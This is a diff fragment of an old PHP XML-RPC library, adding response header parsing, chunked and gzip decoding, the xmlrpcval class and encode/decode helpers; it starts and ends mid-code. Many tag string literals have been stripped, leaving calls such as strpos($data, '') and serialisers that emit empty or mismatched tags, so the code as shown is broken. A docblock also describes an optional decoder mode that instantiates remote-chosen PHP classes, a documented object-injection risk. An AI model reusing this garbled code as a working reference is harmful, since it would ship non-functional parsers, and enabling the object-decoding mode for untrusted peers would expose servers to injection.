$GLOBALS['_xh']['headers'][$header_name] = trim($arr[1]); + } + } + elseif(isset($header_name)) + { + /// @todo version1 cookies might span multiple lines, thus breaking the parsing above + $GLOBALS['_xh']['headers'][$header_name] .= ' ' . trim($line); + } + } + + $data = substr($data, $bd); + + if($this->debug && count($GLOBALS['_xh']['headers'])) + { + print '
    ';
    +					foreach($GLOBALS['_xh']['headers'] as $header => $value)
    +					{
    +						print htmlentities("HEADER: $header: $value\n");
    +					}
    +					foreach($GLOBALS['_xh']['cookies'] as $header => $value)
    +					{
    +						print htmlentities("COOKIE: $header={$value['value']}\n");
    +					}
    +					print "
    \n"; + } + + // if CURL was used for the call, http headers have been processed, + // and dechunking + reinflating have been carried out + if(!$headers_processed) + { + // Decode chunked encoding sent by http 1.1 servers + if(isset($GLOBALS['_xh']['headers']['transfer-encoding']) && $GLOBALS['_xh']['headers']['transfer-encoding'] == 'chunked') + { + if(!$data = decode_chunked($data)) + { + error_log('XML-RPC: xmlrpcmsg::parseResponse: errors occurred when trying to rebuild the chunked data received from server'); + $r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['dechunk_fail'], $GLOBALS['xmlrpcstr']['dechunk_fail']); + return $r; + } + } + + // Decode gzip-compressed stuff + // code shamelessly inspired from nusoap library by Dietrich Ayala + if(isset($GLOBALS['_xh']['headers']['content-encoding'])) + { + $GLOBALS['_xh']['headers']['content-encoding'] = str_replace('x-', '', $GLOBALS['_xh']['headers']['content-encoding']); + if($GLOBALS['_xh']['headers']['content-encoding'] == 'deflate' || $GLOBALS['_xh']['headers']['content-encoding'] == 'gzip') + { + // if decoding works, use it. else assume data wasn't gzencoded + if(function_exists('gzinflate')) + { + if($GLOBALS['_xh']['headers']['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data)) + { + $data = $degzdata; + if($this->debug) + print "
    ---INFLATED RESPONSE---[".strlen($data)." chars]---\n" . htmlentities($data) . "\n---END---
    "; + } + elseif($GLOBALS['_xh']['headers']['content-encoding'] == 'gzip' && $degzdata = @gzinflate(substr($data, 10))) + { + $data = $degzdata; + if($this->debug) + print "
    ---INFLATED RESPONSE---[".strlen($data)." chars]---\n" . htmlentities($data) . "\n---END---
    "; + } + else + { + error_log('XML-RPC: xmlrpcmsg::parseResponse: errors occurred when trying to decode the deflated data received from server'); + $r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['decompress_fail'], $GLOBALS['xmlrpcstr']['decompress_fail']); + return $r; + } + } + else + { + error_log('XML-RPC: xmlrpcmsg::parseResponse: the server sent deflated data. Your php install must have the Zlib extension compiled in to support this.'); + $r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['cannot_decompress'], $GLOBALS['xmlrpcstr']['cannot_decompress']); + return $r; + } + } + } + } // end of 'if needed, de-chunk, re-inflate response' + + // real stupid hack to avoid PHP 4 complaining about returning NULL by ref + $r = null; + $r =& $r; + return $r; + } + + /** + * Parse the xmlrpc response contained in the string $data and return an xmlrpcresp object. + * @param string $data the xmlrpc response, eventually including http headers + * @param bool $headers_processed when true prevents parsing HTTP headers for interpretation of content-encoding and consequent decoding + * @param string $return_type decides return type, i.e. content of response->value(). Either 'xmlrpcvals', 'xml' or 'phpvals' + * @return xmlrpcresp + * @access public + */ + function &parseResponse($data='', $headers_processed=false, $return_type='xmlrpcvals') + { + if($this->debug) + { + //by maHo, replaced htmlspecialchars with htmlentities + print "
    ---GOT---\n" . htmlentities($data) . "\n---END---\n
    "; + } + + if($data == '') + { + error_log('XML-RPC: xmlrpcmsg::parseResponse: no response received from server.'); + $r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['no_data'], $GLOBALS['xmlrpcstr']['no_data']); + return $r; + } + + $GLOBALS['_xh']=array(); + + $raw_data = $data; + // parse the HTTP headers of the response, if present, and separate them from data + if(substr($data, 0, 4) == 'HTTP') + { + $r =& $this->parseResponseHeaders($data, $headers_processed); + if ($r) + { + // failed processing of HTTP response headers + // save into response obj the full payload received, for debugging + $r->raw_data = $data; + return $r; + } + } + else + { + $GLOBALS['_xh']['headers'] = array(); + $GLOBALS['_xh']['cookies'] = array(); + } + + if($this->debug) + { + $start = strpos($data, '', $start); + $comments = substr($data, $start, $end-$start); + print "
    ---SERVER DEBUG INFO (DECODED) ---\n\t".htmlentities(str_replace("\n", "\n\t", base64_decode($comments)))."\n---END---\n
    "; + } + } + + // be tolerant of extra whitespace in response body + $data = trim($data); + + /// @todo return an error msg if $data=='' ? + + // be tolerant of junk after methodResponse (e.g. javascript ads automatically inserted by free hosts) + // idea from Luca Mariano originally in PEARified version of the lib + $bd = false; + // Poor man's version of strrpos for php 4... + $pos = strpos($data, ''); + while($pos || is_int($pos)) + { + $bd = $pos+17; + $pos = strpos($data, '', $bd); + } + if($bd) + { + $data = substr($data, 0, $bd); + } + + // if user wants back raw xml, give it to him + if ($return_type == 'xml') + { + $r =& new xmlrpcresp($data, 0, '', 'xml'); + $r->hdrs = $GLOBALS['_xh']['headers']; + $r->_cookies = $GLOBALS['_xh']['cookies']; + $r->raw_data = $raw_data; + return $r; + } + + // try to 'guestimate' the character encoding of the received response + $resp_encoding = guess_encoding(@$GLOBALS['_xh']['headers']['content-type'], $data); + + $GLOBALS['_xh']['ac']=''; + //$GLOBALS['_xh']['qt']=''; //unused... + $GLOBALS['_xh']['stack'] = array(); + $GLOBALS['_xh']['valuestack'] = array(); + $GLOBALS['_xh']['isf']=0; // 0 = OK, 1 for xmlrpc fault responses, 2 = invalid xmlrpc + $GLOBALS['_xh']['isf_reason']=''; + $GLOBALS['_xh']['rt']=''; // 'methodcall or 'methodresponse' + + // if response charset encoding is not known / supported, try to use + // the default encoding and parse the xml anyway, but log a warning... + if (!in_array($resp_encoding, array('UTF-8', 'ISO-8859-1', 'US-ASCII'))) + // the following code might be better for mb_string enabled installs, but + // makes the lib about 200% slower... + //if (!is_valid_charset($resp_encoding, array('UTF-8', 'ISO-8859-1', 'US-ASCII'))) + { + error_log('XML-RPC: xmlrpcmsg::parseResponse: invalid charset encoding of received response: '.$resp_encoding); + $resp_encoding = $GLOBALS['xmlrpc_defencoding']; + } + $parser = xml_parser_create($resp_encoding); + xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true); + // G. Giunta 2005/02/13: PHP internally uses ISO-8859-1, so we have to tell + // the xml parser to give us back data in the expected charset. + // What if internal encoding is not in one of the 3 allowed? + // we use the broadest one, ie. utf8 + // This allows to send data which is native in various charset, + // by extending xmlrpc_encode_entitites() and setting xmlrpc_internalencoding + if (!in_array($GLOBALS['xmlrpc_internalencoding'], array('UTF-8', 'ISO-8859-1', 'US-ASCII'))) + { + xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, 'UTF-8'); + } + else + { + xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, $GLOBALS['xmlrpc_internalencoding']); + } + + if ($return_type == 'phpvals') + { + xml_set_element_handler($parser, 'xmlrpc_se', 'xmlrpc_ee_fast'); + } + else + { + xml_set_element_handler($parser, 'xmlrpc_se', 'xmlrpc_ee'); + } + + xml_set_character_data_handler($parser, 'xmlrpc_cd'); + xml_set_default_handler($parser, 'xmlrpc_dh'); + + // first error check: xml not well formed + if(!xml_parse($parser, $data, count($data))) + { + // thanks to Peter Kocks + if((xml_get_current_line_number($parser)) == 1) + { + $errstr = 'XML error at line 1, check URL'; + } + else + { + $errstr = sprintf('XML error: %s at line %d, column %d', + xml_error_string(xml_get_error_code($parser)), + xml_get_current_line_number($parser), xml_get_current_column_number($parser)); + } + error_log($errstr); + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['invalid_return'], $GLOBALS['xmlrpcstr']['invalid_return'].' ('.$errstr.')'); + xml_parser_free($parser); + if($this->debug) + { + print $errstr; + } + $r->hdrs = $GLOBALS['_xh']['headers']; + $r->_cookies = $GLOBALS['_xh']['cookies']; + $r->raw_data = $raw_data; + return $r; + } + xml_parser_free($parser); + // second error check: xml well formed but not xml-rpc compliant + if ($GLOBALS['_xh']['isf'] > 1) + { + if ($this->debug) + { + /// @todo echo something for user? + } + + $r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['invalid_return'], + $GLOBALS['xmlrpcstr']['invalid_return'] . ' ' . $GLOBALS['_xh']['isf_reason']); + } + // third error check: parsing of the response has somehow gone boink. + // NB: shall we omit this check, since we trust the parsing code? + elseif ($return_type == 'xmlrpcvals' && !is_object($GLOBALS['_xh']['value'])) + { + // something odd has happened + // and it's time to generate a client side error + // indicating something odd went on + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['invalid_return'], + $GLOBALS['xmlrpcstr']['invalid_return']); + } + else + { + if ($this->debug) + { + print "
    ---PARSED---\n";
    +					// somehow htmlentities chokes on var_export, and some full html string...
    +					//print htmlentitites(var_export($GLOBALS['_xh']['value'], true));
    +					print htmlspecialchars(var_export($GLOBALS['_xh']['value'], true));
    +					print "\n---END---
    "; + } + + // note that using =& will raise an error if $GLOBALS['_xh']['st'] does not generate an object. + $v =& $GLOBALS['_xh']['value']; + + if($GLOBALS['_xh']['isf']) + { + /// @todo we should test here if server sent an int and a string, + /// and/or coerce them into such... + if ($return_type == 'xmlrpcvals') + { + $errno_v = $v->structmem('faultCode'); + $errstr_v = $v->structmem('faultString'); + $errno = $errno_v->scalarval(); + $errstr = $errstr_v->scalarval(); + } + else + { + $errno = $v['faultCode']; + $errstr = $v['faultString']; + } + + if($errno == 0) + { + // FAULT returned, errno needs to reflect that + $errno = -1; + } + + $r =& new xmlrpcresp(0, $errno, $errstr); + } + else + { + $r=&new xmlrpcresp($v, 0, '', $return_type); + } + } + + $r->hdrs = $GLOBALS['_xh']['headers']; + $r->_cookies = $GLOBALS['_xh']['cookies']; + $r->raw_data = $raw_data; + return $r; + } + } + + class xmlrpcval + { + var $me=array(); + var $mytype=0; + var $_php_class=null; + + /** + * @param mixed $val + * @param string $type any valid xmlrpc type name (lowercase). If null, 'string' is assumed + */ + function xmlrpcval($val=-1, $type='') + { + /// @todo: optimization creep - do not call addXX, do it all inline. + /// downside: booleans will not be coerced anymore + if($val!==-1 || $type!='') + { + // optimization creep: inlined all work done by constructor + switch($type) + { + case '': + $this->mytype=1; + $this->me['string']=$val; + break; + case 'i4': + case 'int': + case 'double': + case 'string': + case 'boolean': + case 'dateTime.iso8601': + case 'base64': + case 'null': + $this->mytype=1; + $this->me[$type]=$val; + break; + case 'array': + $this->mytype=2; + $this->me['array']=$val; + break; + case 'struct': + $this->mytype=3; + $this->me['struct']=$val; + break; + default: + error_log("XML-RPC: xmlrpcval::xmlrpcval: not a known type ($type)"); + } + /*if($type=='') + { + $type='string'; + } + if($GLOBALS['xmlrpcTypes'][$type]==1) + { + $this->addScalar($val,$type); + } + elseif($GLOBALS['xmlrpcTypes'][$type]==2) + { + $this->addArray($val); + } + elseif($GLOBALS['xmlrpcTypes'][$type]==3) + { + $this->addStruct($val); + }*/ + } + } + + /** + * Add a single php value to an (unitialized) xmlrpcval + * @param mixed $val + * @param string $type + * @return int 1 or 0 on failure + */ + function addScalar($val, $type='string') + { + $typeof=@$GLOBALS['xmlrpcTypes'][$type]; + if($typeof!=1) + { + error_log("XML-RPC: xmlrpcval::addScalar: not a scalar type ($type)"); + return 0; + } + + // coerce booleans into correct values + // NB: we should iether do it for datetimes, integers and doubles, too, + // or just plain remove this check, implemnted on booleans only... + if($type==$GLOBALS['xmlrpcBoolean']) + { + if(strcasecmp($val,'true')==0 || $val==1 || ($val==true && strcasecmp($val,'false'))) + { + $val=true; + } + else + { + $val=false; + } + } + + switch($this->mytype) + { + case 1: + error_log('XML-RPC: xmlrpcval::addScalar: scalar xmlrpcval can have only one value'); + return 0; + case 3: + error_log('XML-RPC: xmlrpcval::addScalar: cannot add anonymous scalar to struct xmlrpcval'); + return 0; + case 2: + // we're adding a scalar value to an array here + //$ar=$this->me['array']; + //$ar[]=&new xmlrpcval($val, $type); + //$this->me['array']=$ar; + // Faster (?) avoid all the costly array-copy-by-val done here... + $this->me['array'][]=&new xmlrpcval($val, $type); + return 1; + default: + // a scalar, so set the value and remember we're scalar + $this->me[$type]=$val; + $this->mytype=$typeof; + return 1; + } + } + + /** + * Add an array of xmlrpcval objects to an xmlrpcval + * @param array $vals + * @return int 1 or 0 on failure + * @access public + * + * @todo add some checking for $vals to be an array of xmlrpcvals? + */ + function addArray($vals) + { + if($this->mytype==0) + { + $this->mytype=$GLOBALS['xmlrpcTypes']['array']; + $this->me['array']=$vals; + return 1; + } + elseif($this->mytype==2) + { + // we're adding to an array here + $this->me['array'] = array_merge($this->me['array'], $vals); + return 1; + } + else + { + error_log('XML-RPC: xmlrpcval::addArray: already initialized as a [' . $this->kindOf() . ']'); + return 0; + } + } + + /** + * Add an array of named xmlrpcval objects to an xmlrpcval + * @param array $vals + * @return int 1 or 0 on failure + * @access public + * + * @todo add some checking for $vals to be an array? + */ + function addStruct($vals) + { + if($this->mytype==0) + { + $this->mytype=$GLOBALS['xmlrpcTypes']['struct']; + $this->me['struct']=$vals; + return 1; + } + elseif($this->mytype==3) + { + // we're adding to a struct here + $this->me['struct'] = array_merge($this->me['struct'], $vals); + return 1; + } + else + { + error_log('XML-RPC: xmlrpcval::addStruct: already initialized as a [' . $this->kindOf() . ']'); + return 0; + } + } + + // poor man's version of print_r ??? + // DEPRECATED! + function dump($ar) + { + foreach($ar as $key => $val) + { + echo "$key => $val
    "; + if($key == 'array') + { + while(list($key2, $val2) = each($val)) + { + echo "-- $key2 => $val2
    "; + } + } + } + } + + /** + * Returns a string containing "struct", "array" or "scalar" describing the base type of the value + * @return string + * @access public + */ + function kindOf() + { + switch($this->mytype) + { + case 3: + return 'struct'; + break; + case 2: + return 'array'; + break; + case 1: + return 'scalar'; + break; + default: + return 'undef'; + } + } + + /** + * @access private + */ + function serializedata($typ, $val, $charset_encoding='') + { + $rs=''; + switch(@$GLOBALS['xmlrpcTypes'][$typ]) + { + case 1: + switch($typ) + { + case $GLOBALS['xmlrpcBase64']: + $rs.="<${typ}>" . base64_encode($val) . ""; + break; + case $GLOBALS['xmlrpcBoolean']: + $rs.="<${typ}>" . ($val ? '1' : '0') . ""; + break; + case $GLOBALS['xmlrpcString']: + // G. Giunta 2005/2/13: do NOT use htmlentities, since + // it will produce named html entities, which are invalid xml + $rs.="<${typ}>" . xmlrpc_encode_entitites($val, $GLOBALS['xmlrpc_internalencoding'], $charset_encoding). ""; + break; + case $GLOBALS['xmlrpcInt']: + case $GLOBALS['xmlrpcI4']: + $rs.="<${typ}>".(int)$val.""; + break; + case $GLOBALS['xmlrpcDouble']: + // avoid using standard conversion of float to string because it is locale-dependent, + // and also because the xmlrpc spec forbids exponential notation + // sprintf('%F') would be most likely ok but it is only available since PHP 4.3.10 and PHP 5.0.3. + // The code below tries its best at keeping max precision while avoiding exp notation, + // but there is of course no limit in the number of decimal places to be used... + $rs.="<${typ}>".preg_replace('/\\.?0+$/','',number_format((double)$val, 128, '.', '')).""; + break; + case $GLOBALS['xmlrpcNull']: + $rs.=""; + break; + default: + // no standard type value should arrive here, but provide a possibility + // for xmlrpcvals of unknown type... + $rs.="<${typ}>${val}"; + } + break; + case 3: + // struct + if ($this->_php_class) + { + $rs.='\n"; + } + else + { + $rs.="\n"; + } + foreach($val as $key2 => $val2) + { + $rs.=''.xmlrpc_encode_entitites($key2, $GLOBALS['xmlrpc_internalencoding'], $charset_encoding)."\n"; + //$rs.=$this->serializeval($val2); + $rs.=$val2->serialize($charset_encoding); + $rs.="\n"; + } + $rs.=''; + break; + case 2: + // array + $rs.="\n\n"; + for($i=0; $iserializeval($val[$i]); + $rs.=$val[$i]->serialize($charset_encoding); + } + $rs.="\n"; + break; + default: + break; + } + return $rs; + } + + /** + * Returns xml representation of the value. XML prologue not included + * @param string $charset_encoding the charset to be used for serialization. if null, US-ASCII is assumed + * @return string + * @access public + */ + function serialize($charset_encoding='') + { + // add check? slower, but helps to avoid recursion in serializing broken xmlrpcvals... + //if (is_object($o) && (get_class($o) == 'xmlrpcval' || is_subclass_of($o, 'xmlrpcval'))) + //{ + reset($this->me); + list($typ, $val) = each($this->me); + return '' . $this->serializedata($typ, $val, $charset_encoding) . "\n"; + //} + } + + // DEPRECATED + function serializeval($o) + { + // add check? slower, but helps to avoid recursion in serializing broken xmlrpcvals... + //if (is_object($o) && (get_class($o) == 'xmlrpcval' || is_subclass_of($o, 'xmlrpcval'))) + //{ + $ar=$o->me; + reset($ar); + list($typ, $val) = each($ar); + return '' . $this->serializedata($typ, $val) . "\n"; + //} + } + + /** + * Checks wheter a struct member with a given name is present. + * Works only on xmlrpcvals of type struct. + * @param string $m the name of the struct member to be looked up + * @return boolean + * @access public + */ + function structmemexists($m) + { + return array_key_exists($m, $this->me['struct']); + } + + /** + * Returns the value of a given struct member (an xmlrpcval object in itself). + * Will raise a php warning if struct member of given name does not exist + * @param string $m the name of the struct member to be looked up + * @return xmlrpcval + * @access public + */ + function structmem($m) + { + return $this->me['struct'][$m]; + } + + /** + * Reset internal pointer for xmlrpcvals of type struct. + * @access public + */ + function structreset() + { + reset($this->me['struct']); + } + + /** + * Return next member element for xmlrpcvals of type struct. + * @return xmlrpcval + * @access public + */ + function structeach() + { + return each($this->me['struct']); + } + + // DEPRECATED! this code looks like it is very fragile and has not been fixed + // for a long long time. Shall we remove it for 2.0? + function getval() + { + // UNSTABLE + reset($this->me); + list($a,$b)=each($this->me); + // contributed by I Sofer, 2001-03-24 + // add support for nested arrays to scalarval + // i've created a new method here, so as to + // preserve back compatibility + + if(is_array($b)) + { + @reset($b); + while(list($id,$cont) = @each($b)) + { + $b[$id] = $cont->scalarval(); + } + } + + // add support for structures directly encoding php objects + if(is_object($b)) + { + $t = get_object_vars($b); + @reset($t); + while(list($id,$cont) = @each($t)) + { + $t[$id] = $cont->scalarval(); + } + @reset($t); + while(list($id,$cont) = @each($t)) + { + @$b->$id = $cont; + } + } + // end contrib + return $b; + } + + /** + * Returns the value of a scalar xmlrpcval + * @return mixed + * @access public + */ + function scalarval() + { + reset($this->me); + list(,$b)=each($this->me); + return $b; + } + + /** + * Returns the type of the xmlrpcval. + * For integers, 'int' is always returned in place of 'i4' + * @return string + * @access public + */ + function scalartyp() + { + reset($this->me); + list($a,)=each($this->me); + if($a==$GLOBALS['xmlrpcI4']) + { + $a=$GLOBALS['xmlrpcInt']; + } + return $a; + } + + /** + * Returns the m-th member of an xmlrpcval of struct type + * @param integer $m the index of the value to be retrieved (zero based) + * @return xmlrpcval + * @access public + */ + function arraymem($m) + { + return $this->me['array'][$m]; + } + + /** + * Returns the number of members in an xmlrpcval of array type + * @return integer + * @access public + */ + function arraysize() + { + return count($this->me['array']); + } + + /** + * Returns the number of members in an xmlrpcval of struct type + * @return integer + * @access public + */ + function structsize() + { + return count($this->me['struct']); + } + } + + + // date helpers + + /** + * Given a timestamp, return the corresponding ISO8601 encoded string. + * + * Really, timezones ought to be supported + * but the XML-RPC spec says: + * + * "Don't assume a timezone. It should be specified by the server in its + * documentation what assumptions it makes about timezones." + * + * These routines always assume localtime unless + * $utc is set to 1, in which case UTC is assumed + * and an adjustment for locale is made when encoding + * + * @param int $timet (timestamp) + * @param int $utc (0 or 1) + * @return string + */ + function iso8601_encode($timet, $utc=0) + { + if(!$utc) + { + $t=strftime("%Y%m%dT%H:%M:%S", $timet); + } + else + { + if(function_exists('gmstrftime')) + { + // gmstrftime doesn't exist in some versions + // of PHP + $t=gmstrftime("%Y%m%dT%H:%M:%S", $timet); + } + else + { + $t=strftime("%Y%m%dT%H:%M:%S", $timet-date('Z')); + } + } + return $t; + } + + /** + * Given an ISO8601 date string, return a timet in the localtime, or UTC + * @param string $idate + * @param int $utc either 0 or 1 + * @return int (datetime) + */ + function iso8601_decode($idate, $utc=0) + { + $t=0; + if(preg_match('/([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})/', $idate, $regs)) + { + if($utc) + { + $t=gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); + } + else + { + $t=mktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); + } + } + return $t; + } + + /** + * Takes an xmlrpc value in PHP xmlrpcval object format and translates it into native PHP types. + * + * Works with xmlrpc message objects as input, too. + * + * Given proper options parameter, can rebuild generic php object instances + * (provided those have been encoded to xmlrpc format using a corresponding + * option in php_xmlrpc_encode()) + * PLEASE NOTE that rebuilding php objects involves calling their constructor function. + * This means that the remote communication end can decide which php code will + * get executed on your server, leaving the door possibly open to 'php-injection' + * style of attacks (provided you have some classes defined on your server that + * might wreak havoc if instances are built outside an appropriate context). + * Make sure you trust the remote server/client before eanbling this! + * + * @author Dan Libby (dan@libby.com) + * + * @param xmlrpcval $xmlrpc_val + * @param array $options if 'decode_php_objs' is set in the options array, xmlrpc structs can be decoded into php objects + * @return mixed + */ + function php_xmlrpc_decode($xmlrpc_val, $options=array()) + { + switch($xmlrpc_val->kindOf()) + { + case 'scalar': + if (in_array('extension_api', $options)) + { + reset($xmlrpc_val->me); + list($typ,$val) = each($xmlrpc_val->me); + switch ($typ) + { + case 'dateTime.iso8601': + $xmlrpc_val->scalar = $val; + $xmlrpc_val->xmlrpc_type = 'datetime'; + $xmlrpc_val->timestamp = iso8601_decode($val); + return $xmlrpc_val; + case 'base64': + $xmlrpc_val->scalar = $val; + $xmlrpc_val->type = $typ; + return $xmlrpc_val; + default: + return $xmlrpc_val->scalarval(); + } + } + return $xmlrpc_val->scalarval(); + case 'array': + $size = $xmlrpc_val->arraysize(); + $arr = array(); + for($i = 0; $i < $size; $i++) + { + $arr[] = php_xmlrpc_decode($xmlrpc_val->arraymem($i), $options); + } + return $arr; + case 'struct': + $xmlrpc_val->structreset(); + // If user said so, try to rebuild php objects for specific struct vals. + /// @todo should we raise a warning for class not found? + // shall we check for proper subclass of xmlrpcval instead of + // presence of _php_class to detect what we can do? + if (in_array('decode_php_objs', $options) && $xmlrpc_val->_php_class != '' + && class_exists($xmlrpc_val->_php_class)) + { + $obj = @new $xmlrpc_val->_php_class; + while(list($key,$value)=$xmlrpc_val->structeach()) + { + $obj->$key = php_xmlrpc_decode($value, $options); + } + return $obj; + } + else + { + $arr = array(); + while(list($key,$value)=$xmlrpc_val->structeach()) + { + $arr[$key] = php_xmlrpc_decode($value, $options); + } + return $arr; + } + case 'msg': + $paramcount = $xmlrpc_val->getNumParams(); + $arr = array(); + for($i = 0; $i < $paramcount; $i++) + { + $arr[] = php_xmlrpc_decode($xmlrpc_val->getParam($i)); + } + return $arr; + } + } + + // This constant left here only for historical reasons... + // it was used to decide if we have to define xmlrpc_encode on our own, but + // we do not do it anymore + if(function_exists('xmlrpc_decode')) + { + define('XMLRPC_EPI_ENABLED','1'); + } + else + { + define('XMLRPC_EPI_ENABLED','0'); + } + + /** + * Takes native php types and encodes them into xmlrpc PHP object format. + * It will not re-encode xmlrpcval objects. + * + * Feature creep -- could support more types via optional type argument + * (string => datetime support has been added, ??? => base64 not yet) + * + * If given a proper options parameter, php object instances will be encoded + * into 'special' xmlrpc values, that can later be decoded into php objects + * by calling php_xmlrpc_decode() with a corresponding option + * + * @author Dan Libby (dan@libby.com) + * + * @param mixed $php_val the value to be converted into an xmlrpcval object + * @param array $options can include 'encode_php_objs', 'auto_dates', 'null_extension' or 'extension_api' + * @return xmlrpcval + */ + function &php_xmlrpc_encode($php_val, $options=array()) + { + $type = gettype($php_val); + switch($type) + { + case 'string': + if (in_array('auto_dates', $options) && preg_match('/^[0-9]{8}T[0-9]{2}:[0-9]{2}:[0-9]{2}$/', $php_val)) + $xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcDateTime']); + else + $xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcString']); + break; + case 'integer': + $xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcInt']); + break; + case 'double': + $xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcDouble']); + break; + // + // Add support for encoding/decoding of booleans, since they are supported in PHP + case 'boolean': + $xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcBoolean']); + break; + // + case 'array': + // PHP arrays can be encoded to either xmlrpc structs or arrays, + // depending on wheter they are hashes or plain 0..n integer indexed + // A shorter one-liner would be + // $tmp = array_diff(array_keys($php_val), range(0, count($php_val)-1)); + // but execution time skyrockets! + $j = 0; + $arr = array(); + $ko = false; + foreach($php_val as $key => $val) + { + $arr[$key] =& php_xmlrpc_encode($val, $options); + if(!$ko && $key !== $j) + { + $ko = true; + } + $j++; + } + if($ko) + { + $xmlrpc_val =& new xmlrpcval($arr, $GLOBALS['xmlrpcStruct']); + } + else + { + $xmlrpc_val =& new xmlrpcval($arr, $GLOBALS['xmlrpcArray']); + } + break; + case 'object': + if(is_a($php_val, 'xmlrpcval')) + { + $xmlrpc_val = $php_val; + } + else + { + $arr = array(); + while(list($k,$v) = each($php_val)) + { + $arr[$k] = php_xmlrpc_encode($v, $options); + } + $xmlrpc_val =& new xmlrpcval($arr, $GLOBALS['xmlrpcStruct']); + if (in_array('encode_php_objs', $options)) + { + // let's save original class name into xmlrpcval: + // might be useful later on... + $xmlrpc_val->_php_class = get_class($php_val); + } + } + break; + case 'NULL': + if (in_array('extension_api', $options)) + { + $xmlrpc_val =& new xmlrpcval('', $GLOBALS['xmlrpcString']); + } + if (in_array('null_extension', $options)) + { + $xmlrpc_val =& new xmlrpcval('', $GLOBALS['xmlrpcNull']); + } + else + { + $xmlrpc_val =& new xmlrpcval(); + } + break; + case 'resource': + if (in_array('extension_api', $options)) + { + $xmlrpc_val =& new xmlrpcval((int)$php_val, $GLOBALS['xmlrpcInt']); + } + else + { + $xmlrpc_val =& new xmlrpcval(); + } + // catch "user function", "unknown type" + default: + // giancarlo pinerolo + // it has to return + // an empty object in case, not a boolean. + $xmlrpc_val =& new xmlrpcval(); + break; + } + return $xmlrpc_val; + } + + /** + * Convert the xml representation of a method response, method request or single + * xmlrpc value into the appropriate object (a.k.a. deserialize) + * @param string $xml_val + * @param array $options + * @return mixed false on error, or an instance of either xmlrpcval, xmlrpcmsg or xmlrpcresp + */ + function php_xmlrpc_decode_xml($xml_val, $options=array()) + { + $GLOBALS['_xh'] = array(); + $GLOBALS['_xh']['ac'] = ''; + $GLOBALS['_xh']['stack'] = array(); + $GLOBALS['_xh']['valuestack'] = array(); + $GLOBALS['_xh']['params'] = array(); + $GLOBALS['_xh']['pt'] = array(); + $GLOBALS['_xh']['isf'] = 0; + $GLOBALS['_xh']['isf_reason'] = ''; + $GLOBALS['_xh']['method'] = false; + $GLOBALS['_xh']['rt'] = ''; + /// @todo 'guestimate' encoding + $parser = xml_parser_create(); + xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true); + // What if internal encoding is not in one of the 3 allowed? + // we use the broadest one, ie. utf8! + if (!in_array($GLOBALS['xmlrpc_internalencoding'], array('UTF-8', 'ISO-8859-1', 'US-ASCII'))) + { + xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, 'UTF-8'); + } + else + { + xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, $GLOBALS['xmlrpc_internalencoding']); + } + xml_set_element_handler($parser, 'xmlrpc_se_any', 'xmlrpc_ee'); + xml_set_character_data_handler($parser, 'xmlrpc_cd'); + xml_set_default_handler($parser, 'xmlrpc_dh'); + if(!xml_parse($parser, $xml_val, 1)) + { + $errstr = sprintf('XML error: %s at line %d, column %d', + xml_error_string(xml_get_error_code($parser)), + xml_get_current_line_number($parser), xml_get_current_column_number($parser)); + error_log($errstr); + xml_parser_free($parser); + return false; + } + xml_parser_free($parser); + if ($GLOBALS['_xh']['isf'] > 1) // test that $GLOBALS['_xh']['value'] is an obj, too??? + { + error_log($GLOBALS['_xh']['isf_reason']); + return false; + } + switch ($GLOBALS['_xh']['rt']) + { + case 'methodresponse': + $v =& $GLOBALS['_xh']['value']; + if ($GLOBALS['_xh']['isf'] == 1) + { + $vc = $v->structmem('faultCode'); + $vs = $v->structmem('faultString'); + $r =& new xmlrpcresp(0, $vc->scalarval(), $vs->scalarval()); + } + else + { + $r =& new xmlrpcresp($v); + } + return $r; + case 'methodcall': + $m =& new xmlrpcmsg($GLOBALS['_xh']['method']); + for($i=0; $i < count($GLOBALS['_xh']['params']); $i++) + { + $m->addParam($GLOBALS['_xh']['params'][$i]); + } + return $m; + case 'value': + return $GLOBALS['_xh']['value']; + default: + return false; + } + } + + /** + * decode a string that is encoded w/ "chunked" transfer encoding + * as defined in rfc2068 par. 19.4.6 + * code shamelessly stolen from nusoap library by Dietrich Ayala + * + * @param string $buffer the string to be decoded + * @return string + */ + function decode_chunked($buffer) + { + // length := 0 + $length = 0; + $new = ''; + + // read chunk-size, chunk-extension (if any) and crlf + // get the position of the linebreak + $chunkend = strpos($buffer,"\r\n") + 2; + $temp = substr($buffer,0,$chunkend); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend; + while($chunk_size > 0) + { + $chunkend = strpos($buffer, "\r\n", $chunkstart + $chunk_size); + + // just in case we got a broken connection + if($chunkend == false) + { + $chunk = substr($buffer,$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + $length += strlen($chunk); + break; + } + + // read chunk-data and crlf + $chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + // length := length + chunk-size + $length += strlen($chunk); + // read chunk-size and crlf + $chunkstart = $chunkend + 2; + + $chunkend = strpos($buffer,"\r\n",$chunkstart)+2; + if($chunkend == false) + { + break; //just in case we got a broken connection + } + $temp = substr($buffer,$chunkstart,$chunkend-$chunkstart); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = 